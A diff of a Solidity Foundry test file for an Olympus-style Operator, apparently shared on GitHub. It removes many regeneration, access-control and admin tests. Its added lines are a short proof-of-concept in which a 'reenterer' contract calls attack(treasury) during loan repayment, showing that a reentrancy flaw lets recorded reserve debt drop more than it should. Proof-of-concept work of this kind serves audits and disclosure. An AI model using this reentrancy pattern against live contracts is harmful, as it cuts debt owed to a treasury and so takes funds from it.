- function testCorrectness_lowWallRegenTime() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that the wall won't regenerate before the required time has passed,
- /// even with enough observations
- /// Takes down wall, moves price in regen range,
- /// and hits regen count required with consequtive calls
-
- /// Confirm wall is up
- assertTrue(range.active(false));
-
- /// Take down the wall
- knockDownWall(false);
-
- /// Check that the wall is down
- assertTrue(!range.active(false));
-
- /// Don't move time forward past the regen period so it won't regen
-
- /// Get capacity of the low wall and verify under threshold
- uint256 startCapacity = range.capacity(false);
- uint256 fullCapacity = operator.fullCapacity(false);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price above the moving average to regenerate low wall
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 5; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(false));
-
- /// Check that the capacity hasn't regenerated
- uint256 endCapacity = range.capacity(false);
- assertEq(endCapacity, startCapacity);
- }
-
- function testCorrectness_lowCushionClosedOnRegen() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that a manually regenerated wall will close the cushion that is deployed currently
-
- /// Trigger a cushion
- price.setLastPrice(89 * 1e18);
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed
- assertTrue(auctioneer.isLive(range.market(false)));
- assertEq(range.market(false), 0);
-
- /// Regenerate the wall manually, expect market to close
- vm.prank(guardian);
- operator.regenerate(false);
-
- /// Check that the market is closed
- assertTrue(!auctioneer.isLive(range.market(false)));
- assertEq(range.market(false), type(uint256).max);
- }
-
- function testCorrectness_highWallRegenA() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests the simplest case of regen
- /// Takes down wall, moves price in regen range,
- /// and hits regen count required with consequtive calls
-
- /// Confirm wall is up
- assertTrue(range.active(true));
-
- /// Take down the wall
- knockDownWall(true);
-
- /// Check that the wall is down
- assertTrue(!range.active(true));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the high wall and verify under threshold
- uint256 startCapacity = range.capacity(true);
- uint256 fullCapacity = operator.fullCapacity(true);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price below the moving average to regenerate high wall
- price.setLastPrice(99 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 5; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is up
- assertTrue(range.active(true));
-
- /// Check that the capacity has regenerated
- uint256 endCapacity = range.capacity(true);
- assertEq(endCapacity, fullCapacity);
- }
-
- function testCorrectness_highWallRegenB() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests wrap around logic of regen
- /// Takes down wall, calls operate a few times with price not in regen range,
- /// moves price into regen range, and hits regen count required with consequtive calls
- /// that wrap around the count array
-
- /// Confirm wall is up
- assertTrue(range.active(true));
-
- /// Take down the wall
- knockDownWall(true);
-
- /// Check that the wall is down
- assertTrue(!range.active(true));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the high wall and verify under threshold
- uint256 startCapacity = range.capacity(true);
- uint256 fullCapacity = operator.fullCapacity(true);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price above the moving average so regeneration doesn't start
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator function with negative
- for (uint256 i; i < 8; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(true));
-
- /// Set price below the moving average to regenerate high wall
- price.setLastPrice(98 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 5; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is up
- assertTrue(range.active(true));
-
- /// Check that the capacity has regenerated
- uint256 endCapacity = range.capacity(true);
- assertEq(endCapacity, fullCapacity);
- }
-
- function testCorrectness_highWallRegenC() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that wall does not regenerate before the required count is reached
-
- /// Confirm wall is up
- assertTrue(range.active(true));
-
- /// Take down the wall
- knockDownWall(true);
-
- /// Check that the wall is down
- assertTrue(!range.active(true));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the high wall and verify under threshold
- uint256 startCapacity = range.capacity(true);
- uint256 fullCapacity = operator.fullCapacity(true);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price below the moving average to regenerate high wall
- price.setLastPrice(98 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 4; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(true));
-
- /// Check that the capacity hasn't regenerated
- uint256 endCapacity = range.capacity(true);
- assertEq(endCapacity, startCapacity);
- }
-
- function testCorrectness_highWallRegenD() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that wall does not regenerate before the required count is reached
- /// Use more complex logic to ensure wrap around logic is working and
- /// that positive checks outside the moving window aren't counted
- /// observations should be: +, -, -, -, +, +, +, +
- /// last observation wraps around to first and therefore only 4/7 of the observations are counted
-
- /// Confirm wall is up
- assertTrue(range.active(true));
-
- /// Take down the wall
- knockDownWall(true);
-
- /// Check that the wall is down
- assertTrue(!range.active(true));
-
- /// Move time forward past the regen period
- vm.warp(block.timestamp + 1 hours);
-
- /// Get capacity of the high wall and verify under threshold
- uint256 startCapacity = range.capacity(true);
- uint256 fullCapacity = operator.fullCapacity(true);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price below the moving average to regenerate low wall
- price.setLastPrice(98 * 1e18);
-
- /// Trigger the operator once to get a positive check
- vm.prank(guardian);
- operator.operate();
-
- /// Set price above the moving average to get negative checks
- price.setLastPrice(101 * 1e18);
-
- /// Trigger the operator function several times with negative checks
- for (uint256 i; i < 3; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Set price below the moving average to regenerate high wall
- price.setLastPrice(98 * 1e18);
-
- /// Trigger the operator function several times with positive checks
- for (uint256 i; i < 4; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(true));
-
- /// Check that the capacity hasn't regenerated
- uint256 endCapacity = range.capacity(true);
- assertEq(endCapacity, startCapacity);
- }
-
- function testCorrectness_highWallRegenTime() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that the wall won't regenerate before the required time has passed,
- /// even with enough observations
- /// Takes down wall, moves price in regen range,
- /// and hits regen count required with consequtive calls
-
- /// Confirm wall is up
- assertTrue(range.active(true));
-
- /// Take down the wall
- knockDownWall(true);
-
- /// Check that the wall is down
- assertTrue(!range.active(true));
-
- /// Don't move time forward past the regen period so it won't regen
-
- /// Get capacity of the high wall and verify under threshold
- uint256 startCapacity = range.capacity(true);
- uint256 fullCapacity = operator.fullCapacity(true);
- assertLe(startCapacity, fullCapacity.mulDiv(range.thresholdFactor(), 1e4));
-
- /// Set price below the moving average to regenerate high wall
- price.setLastPrice(99 * 1e18);
-
- /// Trigger the operator function enough times to regenerate the wall
- for (uint256 i; i < 5; ++i) {
- vm.prank(guardian);
- operator.operate();
- }
-
- /// Check that the wall is still down
- assertTrue(!range.active(true));
-
- /// Check that the capacity hasn't regenerated
- uint256 endCapacity = range.capacity(true);
- assertEq(endCapacity, startCapacity);
- }
-
- function testCorrectness_highCushionClosedOnRegen() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Tests that a manually regenerated wall will close the cushion that is deployed currently
-
- /// Trigger a cushion
- price.setLastPrice(111 * 1e18);
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the cushion is deployed
- assertTrue(auctioneer.isLive(range.market(true)));
- assertEq(range.market(true), 0);
-
- /// Regenerate the wall manually, expect market to close
- vm.prank(guardian);
- operator.regenerate(true);
-
- /// Check that the market is closed
- assertTrue(!auctioneer.isLive(range.market(true)));
- assertEq(range.market(true), type(uint256).max);
- }
-
- /* ========== ACCESS CONTROL TESTS ========== */
-
- /// DONE
- /// [X] operate only callable by heart or guardian
- /// [X] admin configuration functions only callable by policy or guardian (negative here, positive in ADMIN TESTS sections)
-
- function testCorrectness_onlyHeartOrGovernanceCanOperate() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Call operate as heart contract
- vm.prank(heart);
- operator.operate();
-
- /// Call operate as governance
- vm.prank(guardian);
- operator.operate();
-
- /// Try to call operate as anyone else
- bytes memory err = abi.encodeWithSelector(
- Policy_OnlyRole.selector,
- toRole("operator_operate")
- );
- vm.expectRevert(err);
- vm.prank(alice);
- operator.operate();
- }
-
- function testCorrectness_cannotOperatorIfNotInitialized() public {
- /// Toggle operator to active manually erroneously (so it will not revert with inactive)
- vm.prank(guardian);
- operator.toggleActive();
-
- /// Call operate as heart contract and expect to revert
- bytes memory err = abi.encodeWithSignature("Operator_NotInitialized()");
- vm.expectRevert(err);
- vm.prank(heart);
- operator.operate();
- }
-
- function testCorrectness_nonPolicyCannotSetConfig() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Try to set spreads as random user, expect revert
- bytes memory err = abi.encodeWithSelector(
- Policy_OnlyRole.selector,
- toRole("operator_policy")
- );
- vm.expectRevert(err);
- vm.prank(alice);
- operator.setSpreads(1500, 3000);
-
- /// Try to set cushionFactor as random user, expect revert
- vm.expectRevert(err);
- vm.prank(alice);
- operator.setCushionFactor(1500);
-
- /// Try to set cushionDuration as random user, expect revert
- vm.expectRevert(err);
- vm.prank(alice);
- operator.setCushionParams(uint32(6 hours), uint32(50_000), uint32(4 hours));
-
- /// Try to set cushionFactor as random user, expect revert
- vm.expectRevert(err);
- vm.prank(alice);
- operator.setReserveFactor(1500);
-
- /// Try to set regenParams as a random user, expect revert
- vm.expectRevert(err);
- vm.prank(alice);
- operator.setRegenParams(uint32(1 days), uint32(8), uint32(11));
- }
-
- function testCorrectness_nonGuardianCannotCall() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Try to set spreads as random user, expect revert
- bytes memory err = abi.encodeWithSelector(
- Policy_OnlyRole.selector,
- toRole("operator_admin")
- );
- vm.expectRevert(err);
- vm.prank(alice);
- operator.setBondContracts(IBondAuctioneer(alice), BondCallback(alice));
-
- /// Try to initialize as a random user, expect revert
- vm.expectRevert(err);
- vm.prank(alice);
- operator.initialize();
- }
-
- /* ========== ADMIN TESTS ========== */
-
- /// DONE
- /// [X] setSpreads
- /// [X] setThresholdFactor (in Range.t.sol) TODO
- /// [X] setCushionFactor
- /// [X] setCushionParams
- /// [X] setReserveFactor
- /// [X] setRegenParams
- /// [X] setBondContracts
- /// [X] initialize
-
- function testCorrectness_setSpreads() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get starting bands
- OlympusRange.Range memory startRange = range.range();
-
- /// Set spreads larger as admin
- vm.prank(policy);
- operator.setSpreads(1500, 3000);
-
- /// Get new bands
- OlympusRange.Range memory newRange = range.range();
-
- /// Check that the spreads have been set and prices are updated
- assertEq(newRange.cushion.spread, 1500);
- assertEq(newRange.wall.spread, 3000);
- assertLt(newRange.cushion.low.price, startRange.cushion.low.price);
- assertLt(newRange.wall.low.price, startRange.wall.low.price);
- assertGt(newRange.cushion.high.price, startRange.cushion.high.price);
- assertGt(newRange.wall.high.price, startRange.wall.high.price);
-
- /// Set spreads smaller as admin
- vm.prank(policy);
- operator.setSpreads(500, 1000);
-
- /// Get new bands
- newRange = range.range();
-
- /// Check that the spreads have been set and prices are updated
- assertEq(newRange.cushion.spread, 500);
- assertEq(newRange.wall.spread, 1000);
- assertGt(newRange.cushion.low.price, startRange.cushion.low.price);
- assertGt(newRange.wall.low.price, startRange.wall.low.price);
- assertLt(newRange.cushion.high.price, startRange.cushion.high.price);
- assertLt(newRange.wall.high.price, startRange.wall.high.price);
- }
-
- function testCorrectness_setThresholdFactor() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Check that the threshold factor is the same as initialized
- assertEq(range.thresholdFactor(), 100);
-
- /// Set threshold factor larger as admin
- vm.prank(policy);
- operator.setThresholdFactor(150);
-
- /// Check that the threshold factor has been updated
- assertEq(range.thresholdFactor(), 150);
- }
-
- function testCorrectness_cannotSetSpreadWithInvalidParams() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Set spreads with invalid params as admin (both too low)
- bytes memory err = abi.encodeWithSignature("RANGE_InvalidParams()");
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setSpreads(99, 99);
-
- /// Set spreads with invalid params as admin (both too high)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setSpreads(10001, 10001);
-
- /// Set spreads with invalid params as admin (one high, one low)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setSpreads(99, 10001);
-
- /// Set spreads with invalid params as admin (one high, one low)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setSpreads(10001, 99);
-
- /// Set spreads with invalid params as admin (cushion > wall)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setSpreads(2000, 1000);
-
- /// Set spreads with invalid params as admin (one in, one high)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setSpreads(1000, 10001);
-
- /// Set spreads with invalid params as admin (one in, one low)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setSpreads(99, 2000);
- }
-
- function testCorrectness_setCushionFactor() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get starting cushion factor
- Operator.Config memory startConfig = operator.config();
-
- /// Set cushion factor as admin
- vm.prank(policy);
- operator.setCushionFactor(uint32(1000));
-
- /// Get new cushion factor
- Operator.Config memory newConfig = operator.config();
-
- /// Check that the cushion factor has been set
- assertEq(newConfig.cushionFactor, uint32(1000));
- assertLt(newConfig.cushionFactor, startConfig.cushionFactor);
- }
-
- function testCorrectness_cannotSetCushionFactorWithInvalidParams() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Set cushion factor with invalid params as admin (too low)
- bytes memory err = abi.encodeWithSignature("Operator_InvalidParams()");
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setCushionFactor(uint32(99));
-
- /// Set cushion factor with invalid params as admin (too high)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setCushionFactor(uint32(10001));
- }
-
- function testCorrectness_setCushionParams() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get starting cushion params
- Operator.Config memory startConfig = operator.config();
-
- /// Set cushion params as admin
- vm.prank(policy);
- operator.setCushionParams(uint32(24 hours), uint32(50_000), uint32(4 hours));
-
- /// Get new cushion params
- Operator.Config memory newConfig = operator.config();
-
- /// Check that the cushion params has been set
- assertEq(newConfig.cushionDuration, uint32(24 hours));
- assertLt(newConfig.cushionDuration, startConfig.cushionDuration);
- assertEq(newConfig.cushionDebtBuffer, uint32(50_000));
- assertLt(newConfig.cushionDebtBuffer, startConfig.cushionDebtBuffer);
- assertEq(newConfig.cushionDepositInterval, uint32(4 hours));
- assertGt(newConfig.cushionDepositInterval, startConfig.cushionDepositInterval);
- }
-
- function testCorrectness_cannotSetCushionParamsWithInvalidParams() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Set cushion params with invalid duration as admin (too low)
- bytes memory err = abi.encodeWithSignature("Operator_InvalidParams()");
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setCushionParams(uint32(1 days) - 1, uint32(100_000), uint32(1 hours));
-
- /// Set cushion params with invalid duration as admin (too high)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setCushionParams(uint32(7 days) + 1, uint32(100_000), uint32(1 hours));
-
- /// Set cushion params with deposit interval greater than duration as admin
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setCushionParams(uint32(1 days), uint32(100_000), uint32(2 days));
-
- /// Set cushion params with invalid debt buffer as admin (too low)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setCushionParams(uint32(2 days), uint32(99), uint32(2 hours));
- }
-
- function testCorrectness_setReserveFactor() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get starting reserve factor
- Operator.Config memory startConfig = operator.config();
-
- /// Set reserve factor as admin
- vm.prank(policy);
- operator.setReserveFactor(uint32(500));
-
- /// Get new reserve factor
- Operator.Config memory newConfig = operator.config();
-
- /// Check that the reserve factor has been set
- assertEq(newConfig.reserveFactor, uint32(500));
- assertLt(newConfig.reserveFactor, startConfig.reserveFactor);
- }
-
- function testCorrectness_cannotSetReserveFactorWithInvalidParams() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Set reserve factor with invalid params as admin (too low)
- bytes memory err = abi.encodeWithSignature("Operator_InvalidParams()");
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setReserveFactor(uint32(99));
-
- /// Set reserve factor with invalid params as admin (too high)
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setReserveFactor(uint32(10001));
- }
-
- function testCorrectness_setRegenParams() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Get starting regen params
- Operator.Config memory startConfig = operator.config();
-
- /// Confirm cannot set with invalid params
- bytes memory err = abi.encodeWithSignature("Operator_InvalidParams()");
- /// Case 1: wait < 1 hours
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setRegenParams(uint32(1 hours) - 1, uint32(11), uint32(15));
-
- /// Case 2: observe == 0
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setRegenParams(uint32(1 days), uint32(0), uint32(0));
-
- /// Case 3: observe < threshold
- vm.expectRevert(err);
- vm.prank(policy);
- operator.setRegenParams(uint32(1 days), uint32(10), uint32(9));
-
- /// Set regen params as admin with valid params
- vm.prank(policy);
- operator.setRegenParams(uint32(1 days), uint32(11), uint32(15));
-
- /// Get new regen params
- Operator.Config memory newConfig = operator.config();
-
- /// Check that the regen params have been set
- assertEq(newConfig.regenWait, uint256(1 days));
- assertEq(newConfig.regenThreshold, 11);
- assertEq(newConfig.regenObserve, 15);
- assertGt(newConfig.regenWait, startConfig.regenWait);
- assertGt(newConfig.regenThreshold, startConfig.regenThreshold);
- assertGt(newConfig.regenObserve, startConfig.regenObserve);
-
- /// Check that the regen structs have been re-initialized
- Operator.Status memory status = operator.status();
- assertEq(status.high.count, 0);
- assertEq(status.high.nextObservation, 0);
- assertEq(status.low.count, 0);
- assertEq(status.low.nextObservation, 0);
- for (uint256 i; i < 15; ++i) {
- assertTrue(!status.high.observations[i]);
- assertTrue(!status.low.observations[i]);
- }
- }
-
- function testCorrectness_setBondContracts() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Attempt to set bond contracts to zero address and expect revert
- bytes memory err = abi.encodeWithSignature("Operator_InvalidParams()");
- vm.expectRevert(err);
- vm.prank(guardian);
- operator.setBondContracts(IBondAuctioneer(address(0)), BondCallback(address(0)));
-
- /// Create new bond contracts
- BondFixedTermCDA newCDA = new BondFixedTermCDA(teller, aggregator, guardian, auth);
- BondCallback newCb = new BondCallback(kernel, IBondAggregator(address(aggregator)), ohm);
-
- /// Update the bond contracts as guardian
- vm.prank(guardian);
- operator.setBondContracts(IBondAuctioneer(address(newCDA)), newCb);
-
- /// Check that the bond contracts have been set
- assertEq(address(operator.auctioneer()), address(newCDA));
- assertEq(address(operator.callback()), address(newCb));
- }
-
- function testCorrectness_initialize() public {
- /// Confirm that the operator is not initialized yet and walls are down
- assertTrue(!operator.initialized());
- assertTrue(!operator.active());
- assertTrue(!range.active(true));
- assertTrue(!range.active(false));
- assertEq(treasury.withdrawApproval(address(operator), reserve), 0);
- assertEq(range.price(false, false), 0);
- assertEq(range.price(true, false), 0);
- assertEq(range.price(false, true), 0);
- assertEq(range.price(true, true), 0);
- assertEq(range.capacity(false), 0);
- assertEq(range.capacity(true), 0);
-
- /// Initialize the operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Confirm that the operator is initialized and walls are up
- assertTrue(operator.initialized());
- assertTrue(operator.active());
- assertTrue(range.active(true));
- assertTrue(range.active(false));
- assertEq(treasury.withdrawApproval(address(operator), reserve), type(uint256).max);
- assertGt(range.price(false, false), 0);
- assertGt(range.price(true, false), 0);
- assertGt(range.price(false, true), 0);
- assertGt(range.price(true, true), 0);
- assertGt(range.capacity(false), 0);
- assertGt(range.capacity(true), 0);
- }
-
- function testCorrectness_cannotInitializeTwice() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Try to initialize the operator again as guardian
- bytes memory err = abi.encodeWithSignature("Operator_AlreadyInitialized()");
- vm.expectRevert(err);
- vm.prank(guardian);
- operator.initialize();
- }
-
- function testCorrectness_regenerate() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- uint48 startTime = uint48(block.timestamp);
- vm.warp(block.timestamp + 1 hours);
- uint48 newTime = uint48(block.timestamp);
-
- /// Confirm that both sides are currently up
- assertTrue(range.active(true));
- assertTrue(range.active(false));
-
- /// Confirm that the Regen structs are at the initial state
- Operator.Status memory status = operator.status();
- assertEq(status.high.count, uint32(0));
- assertEq(status.high.nextObservation, uint32(0));
- assertEq(status.high.lastRegen, startTime);
- assertEq(status.low.count, uint32(0));
- assertEq(status.low.nextObservation, uint32(0));
- assertEq(status.low.lastRegen, startTime);
-
- /// Call operate twice, at different price points, to make the regen counts higher than zero
- price.setLastPrice(105 * 1e18);
- vm.prank(heart);
- operator.operate();
-
- price.setLastPrice(95 * 1e18);
- vm.prank(heart);
- operator.operate();
-
- /// Confirm that the Regen structs are updated
- status = operator.status();
- assertEq(status.high.count, uint32(1));
- assertEq(status.high.nextObservation, uint32(2));
- assertEq(status.high.lastRegen, startTime);
- assertEq(status.low.count, uint32(1));
- assertEq(status.low.nextObservation, uint32(2));
- assertEq(status.low.lastRegen, startTime);
-
- /// Knock down both walls
- knockDownWall(true);
- knockDownWall(false);
-
- /// Confirm that both sides are now down
- assertTrue(!range.active(true));
- assertTrue(!range.active(false));
-
- /// Try to call regenerate without being guardian and expect revert
- bytes memory err = abi.encodeWithSelector(
- Policy_OnlyRole.selector,
- toRole("operator_admin")
- );
-
- vm.expectRevert(err);
- vm.prank(alice);
- operator.regenerate(true);
-
- vm.expectRevert(err);
- vm.prank(alice);
- operator.regenerate(false);
-
- /// Confirm that the Regen structs are the same as before and walls are still down
- status = operator.status();
- assertEq(status.high.count, uint32(1));
- assertEq(status.high.nextObservation, uint32(2));
- assertEq(status.low.count, uint32(1));
- assertEq(status.low.nextObservation, uint32(2));
- assertTrue(!range.active(true));
- assertTrue(!range.active(false));
-
- /// Call regenerate as guardian and confirm each side is updated
- vm.prank(guardian);
- operator.regenerate(true);
-
- vm.prank(guardian);
- operator.regenerate(false);
-
- /// Confirm that the sides have regenerated and the Regen structs are reset
- status = operator.status();
- assertEq(status.high.count, uint32(0));
- assertEq(status.high.nextObservation, uint32(0));
- assertEq(status.high.lastRegen, newTime);
- assertEq(status.low.count, uint32(0));
- assertEq(status.low.nextObservation, uint32(0));
- assertEq(status.low.lastRegen, newTime);
- assertTrue(range.active(true));
- assertTrue(range.active(false));
- }
-
- function testCorrectness_cannotPerformMarketOpsWhileInactive() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Toggle the operator to inactive
- vm.prank(guardian);
- operator.toggleActive();
-
- /// Try to call operator, swap, and bondPurchase, expect reverts
- bytes memory err = abi.encodeWithSignature("Operator_Inactive()");
- vm.expectRevert(err);
- vm.prank(guardian);
- operator.operate();
-
- vm.expectRevert(err);
- vm.prank(alice);
- operator.swap(ohm, 1e9, 1);
-
- vm.expectRevert(err);
- vm.prank(alice);
- operator.swap(reserve, 1e18, 1);
-
- vm.expectRevert(err);
- vm.prank(address(callback));
- operator.bondPurchase(0, 1e18);
- }
-
- /* ========== VIEW TESTS ========== */
-
- /// DONE
- /// [X] fullCapacity
- /// [X] getAmountOut
-
- function testCorrectness_viewFullCapacity() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Load config
- Operator.Config memory config = operator.config();
-
- /// Check that fullCapacity returns the full capacity based on the reserveFactor
- uint256 resInTreasury = treasury.getReserveBalance(reserve);
- uint256 lowCapacity = resInTreasury.mulDiv(config.reserveFactor, 1e4);
- uint256 highCapacity = (lowCapacity.mulDiv(
- 1e9 * 10**price.decimals(),
- 1e18 * range.price(true, true)
- ) * (1e4 + range.spread(true) * 2)) / 1e4;
-
- assertEq(operator.fullCapacity(false), lowCapacity);
- assertEq(operator.fullCapacity(true), highCapacity);
- }
-
- function testCorrectness_viewGetAmountOut() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Check that getAmountOut returns the amount of token to receive for different combinations of inputs
- /// Case 1: OHM In, less than capacity
- uint256 amountIn = 100 * 1e9;
- uint256 expAmountOut = amountIn.mulDiv(1e18 * range.price(true, false), 1e9 * 1e18);
-
- assertEq(expAmountOut, operator.getAmountOut(ohm, amountIn));
-
- /// Case 2: OHM In, more than capacity
- amountIn = range.capacity(false).mulDiv(1e9 * 1e18, 1e18 * range.price(true, false)) + 1e9;
-
- bytes memory err = abi.encodeWithSignature("Operator_InsufficientCapacity()");
- vm.expectRevert(err);
- operator.getAmountOut(ohm, amountIn);
-
- /// Case 3: Reserve In, less than capacity
- amountIn = 10000 * 1e18;
- expAmountOut = amountIn.mulDiv(1e9 * 1e18, 1e18 * range.price(true, true));
-
- assertEq(expAmountOut, operator.getAmountOut(reserve, amountIn));
-
- /// Case 4: Reserve In, more than capacity
- amountIn = range.capacity(true).mulDiv(1e18 * range.price(true, true), 1e9 * 1e18) + 1e18;
-
- vm.expectRevert(err);
- operator.getAmountOut(reserve, amountIn);
-
- /// Case 5: Random, non-accepted token
- err = abi.encodeWithSignature("Operator_InvalidParams()");
- ERC20 token = ERC20(bob);
- amountIn = 100 * 1e18;
- vm.expectRevert(err);
- operator.getAmountOut(token, amountIn);
- }
-
- /* ========== INTERNAL FUNCTION TESTS ========== */
-
- /// DONE
- /// [X] Range updates from new price data when operate is called (triggers _updateRange)
-
- function testCorrectness_updateRange() public {
- /// Initialize operator
- vm.prank(guardian);
- operator.initialize();
-
- /// Store the starting bands
- OlympusRange.Range memory startRange = range.range();
-
- /// Update moving average upwards and trigger the operator
- price.setMovingAverage(105 * 1e18);
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the bands have updated
- assertGt(range.price(false, false), startRange.cushion.low.price);
- assertGt(range.price(true, false), startRange.wall.low.price);
- assertGt(range.price(false, true), startRange.cushion.high.price);
- assertGt(range.price(true, true), startRange.wall.high.price);
-
- /// Update moving average downwards and trigger the operator
- price.setMovingAverage(95 * 1e18);
- vm.prank(guardian);
- operator.operate();
-
- /// Check that the bands have updated
- assertLt(range.price(false, false), startRange.cushion.low.price);
- assertLt(range.price(true, false), startRange.wall.low.price);
- assertLt(range.price(false, true), startRange.cushion.high.price);
- assertLt(range.price(true, true), startRange.wall.high.price);
+ reserve.mint(address(reenterer), 1e18);
+ assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18);
+ // start repayLoan
+ reenterer.attack(treasury);
+ // it should be 9 * 1e17 but it is 8 * 1e17
+ assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment